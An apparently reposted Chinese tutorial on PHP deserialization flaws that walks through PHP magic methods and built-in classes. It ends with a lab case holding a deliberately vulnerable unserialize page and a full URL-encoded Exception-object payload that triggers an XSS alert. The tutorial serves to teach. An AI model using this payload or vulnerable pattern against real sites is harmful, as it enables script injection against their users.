PHP反序列化漏洞(入门二)-魔术方法+原生类

admin 2024年3月22日16:22:31评论8 views字数 2947阅读9分49秒阅读模式

魔术方法利用点分析演示:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法。

魔术方法:

__construct()://构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup()://unserialize()时会被自动调用

__invoke()://当尝试以调用函数的方法调用一个对象时,会被自动调用

__call()://在对象上下文中调用不可访问的方法时触发

__callStatci()://在静态上下文中调用不可访问的方法时触发

__get()://用于从不可访问的属性读取数据

__set()://用于将数据写入不可访问的属性

__isset()://在不可访问的属性上调用isset()或empty()触发

__unset()://在不可访问的属性上使用unset()时触发

__toString()://把对象当作字符串使用时触发

__sleep()://serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

魔术方法功能演示:

__construct()魔术方法:

实例化对象时被调用.其作用是拿来初始化一些值。

__destruct()魔术方法:

当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。

实列化对象,主动销毁:

PHP反序列化漏洞(入门二)-魔术方法+原生类

主动销毁执行顺序:先调用销毁方法在结束程序

PHP反序列化漏洞(入门二)-魔术方法+原生类

自动销毁:

PHP反序列化漏洞(入门二)-魔术方法+原生类

自动销毁执行顺序:先结束程序再调用销毁方法

PHP反序列化漏洞(入门二)-魔术方法+原生类

__toString()魔术方法:在对象当做字符串的时候会被调用

把对象当作字符串输出

PHP反序列化漏洞(入门二)-魔术方法+原生类

就会调用__toString()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__CALL ()魔术方法:

调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

方法存在:

PHP反序列化漏洞(入门二)-魔术方法+原生类

正常调用

PHP反序列化漏洞(入门二)-魔术方法+原生类

方法不存在:

PHP反序列化漏洞(入门二)-魔术方法+原生类

调用__call()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__get() 魔术方法:

读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get()函数

属性存在:

PHP反序列化漏洞(入门二)-魔术方法+原生类

返回属性值

PHP反序列化漏洞(入门二)-魔术方法+原生类

属性不存在:

PHP反序列化漏洞(入门二)-魔术方法+原生类

调用__get函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__set()魔术方法:

设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

属性存在:

PHP反序列化漏洞(入门二)-魔术方法+原生类

直接赋值

PHP反序列化漏洞(入门二)-魔术方法+原生类

属性不存在:

PHP反序列化漏洞(入门二)-魔术方法+原生类

调用__set函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__sleep()魔术方法:serialize之前被调用,可以指定要序列化的对象属性。

不使用序列化:

PHP反序列化漏洞(入门二)-魔术方法+原生类

不会调用__sleep()

PHP反序列化漏洞(入门二)-魔术方法+原生类

使用了序列化:

PHP反序列化漏洞(入门二)-魔术方法+原生类

调用__sleep()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__wakeup()魔术方法:反序列化恢复对象之前调用该方法

使用了反序列化:

PHP反序列化漏洞(入门二)-魔术方法+原生类

调用__wakeup()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__isset()魔术方法:

检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() empty() 时,__isset() 会被调用

对不可访问属性(private私有属性)调用isset()

PHP反序列化漏洞(入门二)-魔术方法+原生类

就会调用__isset()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

对可被访问属性调用isset()

PHP反序列化漏洞(入门二)-魔术方法+原生类

不会调用__isset()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

__unset()魔术方法:

在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

对象变量属性:

public(公有的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私有的):只有本类内部可以使用

对三个属性使用unset():

PHP反序列化漏洞(入门二)-魔术方法+原生类

只调用了两次__unset()因为有一次是可访问属性(public公有属性)

PHP反序列化漏洞(入门二)-魔术方法+原生类

__invoke()魔术方法:将对象当做函数来使用时执行此方法,通常不推荐这样做。

把对象当作函数引用:

PHP反序列化漏洞(入门二)-魔术方法+原生类

就会自动调用__invoke()函数

PHP反序列化漏洞(入门二)-魔术方法+原生类

不同变量属性导致序列化数据显示不同:

private属性:序列化的时候格式是%00类名%00成员名

protect属性:序列化的时候格式是%00*%00成员名

public private protected序列化格式说明:

PHP反序列化漏洞(入门二)-魔术方法+原生类

序列化格式

PHP反序列化漏洞(入门二)-魔术方法+原生类

PHP原生类

原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类

魔术方法的原生类

执行代码查看:

<?php

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) {

if (in_array($method, array(

'__destruct',

'__toString',

'__wakeup',

'__call',

'__callStatic',

'__get',

'__set',

'__isset',

'__unset',

'__invoke',

'__set_state'

))) {

print $class . '::' . $method . "n";

}

}

}

案例:原生类实现xss弹窗

案例代码:

<?php

highlight_file(__file__);

$a = unserialize($_GET['k']);

echo $a;

?>

1.分析代码可知:$a对象被当作字符串输出。

因为__toString()魔术方法是在把对象当做字符串使用的时候会被调用,所以这里会触发__toString()魔术方法

但是因为代码里面没有__toString()魔术方法,所以可以考虑使用__toString()的原生类实现xss弹窗

2.执行查看原生类的代码,查看__toString()原生类

只查看__toString(),所以注释其他

PHP反序列化漏洞(入门二)-魔术方法+原生类

执行查看

PHP反序列化漏洞(入门二)-魔术方法+原生类

3.浏览器搜索:利用php原生类进行xss

成功获取到构造代码:https://www.anquanke.com/post/id/264823#h3-8

代码:

<?php

$a=new Exception("<script>alert('xiaoheizi')</script>");

echo urlencode(serialize($a));

?>

4.利用浏览器php在线执行网站,执行代码获取poc

poc

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22%3Cscript%3Ealert%28%27xiaoheizi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

PHP反序列化漏洞(入门二)-魔术方法+原生类

5.案例页面传递参数值为poc,成功xss弹窗

PHP反序列化漏洞(入门二)-魔术方法+原生类

原文始发于微信公众号(小黑子安全):PHP反序列化漏洞(入门二)-魔术方法+原生类

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日16:22:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP反序列化漏洞(入门二)-魔术方法+原生类https://cn-sec.com/archives/2594780.html

发表评论

匿名网友 填写信息